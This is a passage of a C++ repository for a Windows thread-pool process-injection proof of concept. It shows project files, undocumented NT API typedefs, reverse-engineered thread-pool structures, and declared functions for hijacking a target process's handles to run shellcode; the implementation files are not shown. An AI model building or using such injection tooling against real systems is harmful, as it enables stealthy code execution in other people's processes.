├── .gitignore ├── README.md ├── ThreadPoolInjection.sln ├── ThreadPoolInjection.vcxproj ├── ThreadPoolInjection.vcxproj.filters ├── ThreadPoolInjection.vcxproj.user ├── include ├── Defs.hpp ├── FunctionPtrs.hpp ├── Injection.hpp ├── Main.hpp ├── Process.hpp ├── Structures.hpp └── Utils.hpp └── src ├── IoInject.cpp ├── Main.cpp ├── Process.cpp ├── TimerInject.cpp ├── Utils.cpp └── WorkInject.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | *.d 2 | *.slo 3 | *.lo 4 | *.o 5 | *.obj 6 | *.gch 7 | *.pch 8 | *.so 9 | *.dylib 10 | *.dll 11 | *.lai 12 | *.la 13 | *.a 14 | *.exe 15 | *.out 16 | *.app 17 | *.db 18 | *.key 19 | *.pem 20 | *.crt 21 | *.vs 22 | **/.DS_STORE 23 | cmake-build-*/ 24 | **/.idea/ 25 | **/.vscode/ 26 | ThreadPo.1afd1ba3 27 | x64 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Thread-Pool-Injection-PoC 2 | Unreliable, risky, and naive. Use at your own risk. 3 | -------------------------------------------------------------------------------- /ThreadPoolInjection.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34031.279 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ThreadPoolInjection", "ThreadPoolInjection.vcxproj", "{1AFD1BA3-028A-4E0F-82A8-095F38694ECF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x64.ActiveCfg = Debug|x64 17 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x64.Build.0 = Debug|x64 18 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Debug|x86.Build.0 = Debug|Win32 20 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x64.ActiveCfg = Release|x64 21 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x64.Build.0 = Release|x64 22 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x86.ActiveCfg = Release|Win32 23 | {1AFD1BA3-028A-4E0F-82A8-095F38694ECF}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7471A636-BCDC-4DCD-8437-E3C49CC1048B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ThreadPoolInjection.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {1afd1ba3-028a-4e0f-82a8-095f38694ecf} 25 | ThreadPoolInjection 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | false 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /ThreadPoolInjection.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | -------------------------------------------------------------------------------- /ThreadPoolInjection.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /include/Defs.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define MY_MESSAGE "I did it for the vine." 4 | #define WIN32_ERR(API) std::cout << "{!!} " << #API << " failed with error: " << GetLastError() << std::endl; 5 | #define NTAPI_ERR(API, status) std::cout << "{!!} " << #API << " failed with status: " << std::hex << status << std::endl; 6 | 7 | // Worker Factory 8 | #define WORKER_FACTORY_RELEASE_WORKER 0x0001 9 | #define WORKER_FACTORY_WAIT 0x0002 10 | #define WORKER_FACTORY_SET_INFORMATION 0x0004 11 | #define WORKER_FACTORY_QUERY_INFORMATION 0x0008 12 | #define WORKER_FACTORY_READY_WORKER 0x0010 13 | #define WORKER_FACTORY_SHUTDOWN 0x0020 14 | 15 | #define WORKER_FACTORY_ALL_ACCESS ( \ 16 | STANDARD_RIGHTS_REQUIRED | \ 17 | WORKER_FACTORY_RELEASE_WORKER | \ 18 | WORKER_FACTORY_WAIT | \ 19 | WORKER_FACTORY_SET_INFORMATION | \ 20 | WORKER_FACTORY_QUERY_INFORMATION | \ 21 | WORKER_FACTORY_READY_WORKER | \ 22 | WORKER_FACTORY_SHUTDOWN \ 23 | ) 24 | 25 | // IO 26 | #define IO_COMPLETION_MODIFY_STATE 0x0002 27 | #define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) 28 | 29 | #define IO_QOS_MAX_RESERVATION 1000000000ULL 30 | 31 | 32 | // Timer 33 | #define TIMER_QUERY_STATE 0x0001 34 | #define TIMER_MODIFY_STATE 0x0002 35 | 36 | #define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ 37 | TIMER_QUERY_STATE|TIMER_MODIFY_STATE) 38 | 39 | enum HandleHijackClass { 40 | TpIoPort, 41 | TpWorkerFactory, 42 | TpTimer 43 | }; 44 | 45 | 46 | -------------------------------------------------------------------------------- /include/FunctionPtrs.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "Structures.hpp" 5 | 6 | typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)( 7 | 8 | _In_ HANDLE ProcessHandle, 9 | _In_ PROCESSINFOCLASS ProcessInformationClass, 10 | _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, 11 | _In_ ULONG ProcessInformationLength, 12 | _Out_opt_ PULONG ReturnLength 13 | ); 14 | 15 | typedef NTSTATUS(NTAPI* fnTpAllocJobNotification)( 16 | 17 | _Out_ PFULL_TP_JOB* JobReturn, 18 | _In_ HANDLE HJob, 19 | _In_ PVOID Callback, 20 | _Inout_opt_ PVOID Context, 21 | _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron 22 | ); 23 | 24 | typedef NTSTATUS(NTAPI* fnNtQueryObject)( 25 | 26 | _In_opt_ HANDLE Handle, 27 | _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, 28 | _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, 29 | _In_ ULONG ObjectInformationLength, 30 | _Out_opt_ PULONG ReturnLength 31 | ); 32 | 33 | typedef NTSTATUS(NTAPI* fnRtlAdjustPrivilege)( 34 | 35 | _In_ ULONG Privilege, 36 | _In_ BOOLEAN Enable, 37 | _In_ BOOLEAN Client, 38 | _Out_ PBOOLEAN WasEnabled 39 | ); 40 | 41 | typedef NTSTATUS(NTAPI* fnNtQuerySystemInformation)( 42 | 43 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 44 | PVOID SystemInformation, 45 | ULONG SystemInformationLength, 46 | PULONG ReturnLength 47 | ); 48 | 49 | typedef NTSTATUS(NTAPI* fnNtAssociateWaitCompletionPacket)( 50 | 51 | _In_ HANDLE WaitCompletionPacketHandle, 52 | _In_ HANDLE IoCompletionHandle, 53 | _In_ HANDLE TargetObjectHandle, 54 | _In_opt_ PVOID KeyContext, 55 | _In_opt_ PVOID ApcContext, 56 | _In_ NTSTATUS IoStatus, 57 | _In_ ULONG_PTR IoStatusInformation, 58 | _Out_opt_ PBOOLEAN AlreadySignaled 59 | ); 60 | 61 | typedef NTSTATUS(NTAPI* fnNtSetInformationFile)( 62 | 63 | _In_ HANDLE FileHandle, 64 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 65 | _In_reads_bytes_(Length) PVOID FileInformation, 66 | _In_ ULONG Length, 67 | _In_ FILE_INFORMATION_CLASS FileInformationClass 68 | ); 69 | 70 | typedef NTSTATUS(NTAPI* fnNtAlpcCreatePort)( 71 | 72 | _Out_ PHANDLE PortHandle, 73 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 74 | _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes 75 | ); 76 | 77 | typedef NTSTATUS(NTAPI* fnTpAllocAlpcCompletion)( 78 | 79 | _Out_ PFULL_TP_ALPC* AlpcReturn, 80 | _In_ HANDLE AlpcPort, 81 | _In_ PTP_ALPC_CALLBACK Callback, 82 | _Inout_opt_ PVOID Context, 83 | _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron 84 | ); 85 | 86 | typedef NTSTATUS(NTAPI* fnRtlInitUnicodeString)( 87 | 88 | _In_ PUNICODE_STRING DestinationString, 89 | _In_ PCWSTR SourceString 90 | ); 91 | 92 | typedef NTSTATUS(NTAPI* fnNtAlpcSetInformation)( 93 | 94 | _In_ HANDLE PortHandle, 95 | _In_ ULONG PortInformationClass, 96 | _In_reads_bytes_opt_(Length) PVOID PortInformation, 97 | _In_ ULONG Length 98 | ); 99 | 100 | typedef NTSTATUS(NTAPI* fnNtAlpcConnectPort)( 101 | 102 | _Out_ PHANDLE PortHandle, 103 | _In_ PUNICODE_STRING PortName, 104 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 105 | _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, 106 | _In_ DWORD ConnectionFlags, 107 | _In_opt_ PSID RequiredServerSid, 108 | _In_opt_ PPORT_MESSAGE ConnectionMessage, 109 | _Inout_opt_ PSIZE_T ConnectMessageSize, 110 | _In_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, 111 | _In_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, 112 | _In_opt_ PLARGE_INTEGER Timeout 113 | ); 114 | 115 | typedef NTSTATUS(NTAPI* fnNtSetIoCompletion)( 116 | 117 | _In_ HANDLE IoCompletionHandle, 118 | _In_opt_ PVOID KeyContext, 119 | _In_opt_ PVOID ApcContext, 120 | _In_ NTSTATUS IoStatus, 121 | _In_ ULONG_PTR IoStatusInformation 122 | ); 123 | 124 | typedef NTSTATUS(NTAPI* fnNtQueryInformationWorkerFactory)( 125 | 126 | _In_ HANDLE WorkerFactoryHandle, 127 | _In_ QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, 128 | _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, 129 | _In_ ULONG WorkerFactoryInformationLength, 130 | _Out_opt_ PULONG ReturnLength 131 | ); 132 | 133 | typedef NTSTATUS(NTAPI* fnNtSetTimer2)( 134 | 135 | _In_ HANDLE TimerHandle, 136 | _In_ PLARGE_INTEGER DueTime, 137 | _In_opt_ PLARGE_INTEGER Period, 138 | _In_ PT2_SET_PARAMETERS Parameters 139 | ); 140 | 141 | typedef NTSTATUS(NTAPI* fnNtSetInformationWorkerFactory)( 142 | 143 | _In_ HANDLE WorkerFactoryHandle, 144 | _In_ SET_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, 145 | _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, 146 | _In_ ULONG WorkerFactoryInformationLength 147 | ); -------------------------------------------------------------------------------- /include/Injection.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include "FunctionPtrs.hpp" 6 | #include "Structures.hpp" 7 | #include "Defs.hpp" 8 | 9 | //IO 10 | bool InjectViaJobCallback(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort); 11 | bool InjectViaTpWait(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort); 12 | bool InjectViaTpIo(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort); 13 | bool InjectViaAlpc(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort); 14 | bool InjectViaTpDirect(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort); 15 | 16 | //TIMER 17 | bool InjectViaTpTimer(_In_ HANDLE hWorkerFactory, _In_ HANDLE hTimer, _In_ void* payloadAddress, _In_ HANDLE targetProcess); 18 | 19 | //WORKER FACTORY / TP_WORK 20 | bool InjectViaWorkerFactoryStartRoutine(_In_ HANDLE targetProcess, _In_ HANDLE hWorkerFactory, _In_ void* localPayloadAddress, _In_ size_t payloadSize); 21 | bool InjectViaTpWork(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hWorkerFactory); 22 | -------------------------------------------------------------------------------- /include/Main.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "Defs.hpp" 7 | #include "Injection.hpp" 8 | #include "Utils.hpp" 9 | #include "Process.hpp" -------------------------------------------------------------------------------- /include/Process.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "Defs.hpp" 5 | #include "Injection.hpp" 6 | #include "Utils.hpp" 7 | 8 | class Process { 9 | private: 10 | void* remotePayload = nullptr; 11 | HANDLE handleToHijack = nullptr; 12 | HANDLE processHandle = nullptr; 13 | bool isInitialized = false; 14 | uint32_t PID = 0; 15 | 16 | HandleHijackClass hijackType; 17 | public: 18 | bool injectShellcode(); 19 | bool ProcessAlpcInject(); 20 | bool ProcessJobInject(); 21 | bool ProcessWaitInject(); 22 | bool ProcessTpIoInject(); 23 | bool ProcessTpDirectInject(); 24 | bool ProcessTimerInject(); 25 | bool ProcessWorkInject(); 26 | bool ProcessWorkerFactoryInject(); 27 | bool init(); 28 | 29 | ~Process(); 30 | Process(uint32_t _PID, HandleHijackClass hijackType) 31 | : PID(_PID), hijackType(hijackType) {} 32 | }; -------------------------------------------------------------------------------- /include/Structures.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO 6 | { 7 | HANDLE HandleValue; 8 | ULONG_PTR HandleCount; 9 | ULONG_PTR PointerCount; 10 | ACCESS_MASK GrantedAccess; 11 | ULONG ObjectTypeIndex; 12 | ULONG HandleAttributes; 13 | ULONG Reserved; 14 | } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; 15 | 16 | 17 | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION 18 | { 19 | ULONG_PTR NumberOfHandles; 20 | ULONG_PTR Reserved; 21 | PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY]; 22 | } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; 23 | 24 | 25 | typedef struct _WORKER_FACTORY_BASIC_INFORMATION 26 | { 27 | LARGE_INTEGER Timeout; 28 | LARGE_INTEGER RetryTimeout; 29 | LARGE_INTEGER IdleTimeout; 30 | BOOLEAN Paused; 31 | BOOLEAN TimerSet; 32 | BOOLEAN QueuedToExWorker; 33 | BOOLEAN MayCreate; 34 | BOOLEAN CreateInProgress; 35 | BOOLEAN InsertedIntoQueue; 36 | BOOLEAN Shutdown; 37 | ULONG BindingCount; 38 | ULONG ThreadMinimum; 39 | ULONG ThreadMaximum; 40 | ULONG PendingWorkerCount; 41 | ULONG WaitingWorkerCount; 42 | ULONG TotalWorkerCount; 43 | ULONG ReleaseCount; 44 | LONGLONG InfiniteWaitGoal; 45 | PVOID StartRoutine; 46 | PVOID StartParameter; 47 | HANDLE ProcessId; 48 | SIZE_T StackReserve; 49 | SIZE_T StackCommit; 50 | NTSTATUS LastThreadCreationStatus; 51 | } WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; 52 | 53 | 54 | typedef enum _SET_WORKERFACTORYINFOCLASS 55 | { 56 | WorkerFactoryTimeout = 0, 57 | WorkerFactoryRetryTimeout = 1, 58 | WorkerFactoryIdleTimeout = 2, 59 | WorkerFactoryBindingCount = 3, 60 | WorkerFactoryThreadMinimum = 4, 61 | WorkerFactoryThreadMaximum = 5, 62 | WorkerFactoryPaused = 6, 63 | WorkerFactoryAdjustThreadGoal = 8, 64 | WorkerFactoryCallbackType = 9, 65 | WorkerFactoryStackInformation = 10, 66 | WorkerFactoryThreadBasePriority = 11, 67 | WorkerFactoryTimeoutWaiters = 12, 68 | WorkerFactoryFlags = 13, 69 | WorkerFactoryThreadSoftMaximum = 14, 70 | WorkerFactoryMaxInfoClass = 15 /* Not implemented */ 71 | } SET_WORKERFACTORYINFOCLASS, * PSET_WORKERFACTORYINFOCLASS; 72 | 73 | 74 | typedef enum _QUERY_WORKERFACTORYINFOCLASS 75 | { 76 | WorkerFactoryBasicInformation = 7, 77 | } QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS; 78 | 79 | 80 | typedef enum 81 | { 82 | SeDebugPrivilege = 20 83 | } PRIVILEGES; 84 | 85 | 86 | 87 | 88 | 89 | typedef struct _TP_TASK_CALLBACKS 90 | { 91 | void* ExecuteCallback; 92 | void* Unposted; 93 | } TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS; 94 | 95 | 96 | typedef struct _TP_TASK 97 | { 98 | struct _TP_TASK_CALLBACKS* Callbacks; 99 | UINT32 NumaNode; 100 | UINT8 IdealProcessor; 101 | char Padding_242[3]; 102 | struct _LIST_ENTRY ListEntry; 103 | } TP_TASK, * PTP_TASK; 104 | 105 | 106 | typedef struct _TPP_REFCOUNT 107 | { 108 | volatile INT32 Refcount; 109 | } TPP_REFCOUNT, * PTPP_REFCOUNT; 110 | 111 | 112 | typedef struct _TPP_CALLER 113 | { 114 | void* ReturnAddress; 115 | } TPP_CALLER, * PTPP_CALLER; 116 | 117 | 118 | typedef struct _TPP_PH 119 | { 120 | struct _TPP_PH_LINKS* Root; 121 | } TPP_PH, * PTPP_PH; 122 | 123 | 124 | typedef struct _TP_DIRECT 125 | { 126 | struct _TP_TASK Task; 127 | UINT64 Lock; 128 | struct _LIST_ENTRY IoCompletionInformationList; 129 | void* Callback; 130 | UINT32 NumaNode; 131 | UINT8 IdealProcessor; 132 | char __PADDING__[3]; 133 | } TP_DIRECT, * PTP_DIRECT; 134 | 135 | 136 | typedef struct _TPP_TIMER_SUBQUEUE 137 | { 138 | INT64 Expiration; 139 | struct _TPP_PH WindowStart; 140 | struct _TPP_PH WindowEnd; 141 | void* Timer; 142 | void* TimerPkt; 143 | struct _TP_DIRECT Direct; 144 | UINT32 ExpirationWindow; 145 | INT32 __PADDING__[1]; 146 | } TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE; 147 | 148 | 149 | typedef struct _TPP_TIMER_QUEUE 150 | { 151 | struct _RTL_SRWLOCK Lock; 152 | struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; 153 | struct _TPP_TIMER_SUBQUEUE RelativeQueue; 154 | INT32 AllocatedTimerCount; 155 | INT32 __PADDING__[1]; 156 | } TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE; 157 | 158 | 159 | typedef struct _TPP_NUMA_NODE 160 | { 161 | INT32 WorkerCount; 162 | } TPP_NUMA_NODE, * PTPP_NUMA_NODE; 163 | 164 | 165 | typedef union _TPP_POOL_QUEUE_STATE 166 | { 167 | union 168 | { 169 | INT64 Exchange; 170 | struct 171 | { 172 | INT32 RunningThreadGoal : 16; 173 | UINT32 PendingReleaseCount : 16; 174 | UINT32 QueueLength; 175 | }; 176 | }; 177 | } TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE; 178 | 179 | 180 | typedef struct _TPP_QUEUE 181 | { 182 | struct _LIST_ENTRY Queue; 183 | struct _RTL_SRWLOCK Lock; 184 | } TPP_QUEUE, * PTPP_QUEUE; 185 | 186 | 187 | typedef struct _FULL_TP_POOL 188 | { 189 | struct _TPP_REFCOUNT Refcount; 190 | long Padding_239; 191 | union _TPP_POOL_QUEUE_STATE QueueState; 192 | struct _TPP_QUEUE* TaskQueue[3]; 193 | struct _TPP_NUMA_NODE* NumaNode; 194 | struct _GROUP_AFFINITY* ProximityInfo; 195 | void* WorkerFactory; 196 | void* CompletionPort; 197 | struct _RTL_SRWLOCK Lock; 198 | struct _LIST_ENTRY PoolObjectList; 199 | struct _LIST_ENTRY WorkerList; 200 | struct _TPP_TIMER_QUEUE TimerQueue; 201 | struct _RTL_SRWLOCK ShutdownLock; 202 | UINT8 ShutdownInitiated; 203 | UINT8 Released; 204 | UINT16 PoolFlags; 205 | long Padding_240; 206 | struct _LIST_ENTRY PoolLinks; 207 | struct _TPP_CALLER AllocCaller; 208 | struct _TPP_CALLER ReleaseCaller; 209 | volatile INT32 AvailableWorkerCount; 210 | volatile INT32 LongRunningWorkerCount; 211 | UINT32 LastProcCount; 212 | volatile INT32 NodeStatus; 213 | volatile INT32 BindingCount; 214 | UINT32 CallbackChecksDisabled : 1; 215 | UINT32 TrimTarget : 11; 216 | UINT32 TrimmedThrdCount : 11; 217 | UINT32 SelectedCpuSetCount; 218 | long Padding_241; 219 | struct _RTL_CONDITION_VARIABLE TrimComplete; 220 | struct _LIST_ENTRY TrimmedWorkerList; 221 | } FULL_TP_POOL, * PFULL_TP_POOL; 222 | 223 | 224 | typedef struct _ALPC_WORK_ON_BEHALF_TICKET 225 | { 226 | UINT32 ThreadId; 227 | UINT32 ThreadCreationTimeLow; 228 | } ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; 229 | 230 | 231 | typedef union _TPP_WORK_STATE 232 | { 233 | union 234 | { 235 | INT32 Exchange; 236 | UINT32 Insertable : 1; 237 | UINT32 PendingCallbackCount : 31; 238 | }; 239 | } TPP_WORK_STATE, * PTPP_WORK_STATE; 240 | 241 | 242 | typedef struct _TPP_ITE_WAITER 243 | { 244 | struct _TPP_ITE_WAITER* Next; 245 | void* ThreadId; 246 | } TPP_ITE_WAITER, * PTPP_ITE_WAITER; 247 | 248 | 249 | typedef struct _TPP_PH_LINKS 250 | { 251 | struct _LIST_ENTRY Siblings; 252 | struct _LIST_ENTRY Children; 253 | INT64 Key; 254 | } TPP_PH_LINKS, * PTPP_PH_LINKS; 255 | 256 | 257 | typedef struct _TPP_ITE 258 | { 259 | struct _TPP_ITE_WAITER* First; 260 | } TPP_ITE, * PTPP_ITE; 261 | 262 | 263 | typedef union _TPP_FLAGS_COUNT 264 | { 265 | union 266 | { 267 | UINT64 Count : 60; 268 | UINT64 Flags : 4; 269 | INT64 Data; 270 | }; 271 | } TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT; 272 | 273 | 274 | typedef struct _TPP_BARRIER 275 | { 276 | volatile union _TPP_FLAGS_COUNT Ptr; 277 | struct _RTL_SRWLOCK WaitLock; 278 | struct _TPP_ITE WaitList; 279 | } TPP_BARRIER, * PTPP_BARRIER; 280 | 281 | 282 | typedef struct _TP_CLEANUP_GROUP 283 | { 284 | struct _TPP_REFCOUNT Refcount; 285 | INT32 Released; 286 | struct _RTL_SRWLOCK MemberLock; 287 | struct _LIST_ENTRY MemberList; 288 | struct _TPP_BARRIER Barrier; 289 | struct _RTL_SRWLOCK CleanupLock; 290 | struct _LIST_ENTRY CleanupList; 291 | } TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP; 292 | 293 | 294 | typedef struct _TPP_CLEANUP_GROUP_MEMBER 295 | { 296 | struct _TPP_REFCOUNT Refcount; 297 | long Padding_233; 298 | const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs; 299 | struct _TP_CLEANUP_GROUP* CleanupGroup; 300 | void* CleanupGroupCancelCallback; 301 | void* FinalizationCallback; 302 | struct _LIST_ENTRY CleanupGroupMemberLinks; 303 | struct _TPP_BARRIER CallbackBarrier; 304 | union 305 | { 306 | void* Callback; 307 | void* WorkCallback; 308 | void* SimpleCallback; 309 | void* TimerCallback; 310 | void* WaitCallback; 311 | void* IoCallback; 312 | void* AlpcCallback; 313 | void* AlpcCallbackEx; 314 | void* JobCallback; 315 | }; 316 | void* Context; 317 | struct _ACTIVATION_CONTEXT* ActivationContext; 318 | void* SubProcessTag; 319 | struct _GUID ActivityId; 320 | struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket; 321 | void* RaceDll; 322 | FULL_TP_POOL* Pool; 323 | struct _LIST_ENTRY PoolObjectLinks; 324 | union 325 | { 326 | volatile INT32 Flags; 327 | UINT32 LongFunction : 1; 328 | UINT32 Persistent : 1; 329 | UINT32 UnusedPublic : 14; 330 | UINT32 Released : 1; 331 | UINT32 CleanupGroupReleased : 1; 332 | UINT32 InCleanupGroupCleanupList : 1; 333 | UINT32 UnusedPrivate : 13; 334 | }; 335 | long Padding_234; 336 | struct _TPP_CALLER AllocCaller; 337 | struct _TPP_CALLER ReleaseCaller; 338 | enum _TP_CALLBACK_PRIORITY CallbackPriority; 339 | INT32 __PADDING__[1]; 340 | } TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER; 341 | 342 | 343 | typedef struct _FULL_TP_WORK 344 | { 345 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 346 | struct _TP_TASK Task; 347 | volatile union _TPP_WORK_STATE WorkState; 348 | INT32 __PADDING__[1]; 349 | } FULL_TP_WORK, * PFULL_TP_WORK; 350 | 351 | 352 | typedef struct _FULL_TP_TIMER 353 | { 354 | struct _FULL_TP_WORK Work; 355 | struct _RTL_SRWLOCK Lock; 356 | union 357 | { 358 | struct _TPP_PH_LINKS WindowEndLinks; 359 | struct _LIST_ENTRY ExpirationLinks; 360 | }; 361 | struct _TPP_PH_LINKS WindowStartLinks; 362 | INT64 DueTime; 363 | struct _TPP_ITE Ite; 364 | UINT32 Window; 365 | UINT32 Period; 366 | UINT8 Inserted; 367 | UINT8 WaitTimer; 368 | union 369 | { 370 | UINT8 TimerStatus; 371 | UINT8 InQueue : 1; 372 | UINT8 Absolute : 1; 373 | UINT8 Cancelled : 1; 374 | }; 375 | UINT8 BlockInsert; 376 | INT32 __PADDING__[1]; 377 | } FULL_TP_TIMER, * PFULL_TP_TIMER; 378 | 379 | 380 | typedef struct _FULL_TP_WAIT 381 | { 382 | struct _FULL_TP_TIMER Timer; 383 | void* Handle; 384 | void* WaitPkt; 385 | void* NextWaitHandle; 386 | union _LARGE_INTEGER NextWaitTimeout; 387 | struct _TP_DIRECT Direct; 388 | union 389 | { 390 | union 391 | { 392 | UINT8 AllFlags; 393 | UINT8 NextWaitActive : 1; 394 | UINT8 NextTimeoutActive : 1; 395 | UINT8 CallbackCounted : 1; 396 | UINT8 Spare : 5; 397 | }; 398 | } WaitFlags; 399 | char __PADDING__[7]; 400 | } FULL_TP_WAIT, * PFULL_TP_WAIT; 401 | 402 | 403 | typedef struct _FULL_TP_IO 404 | { 405 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 406 | struct 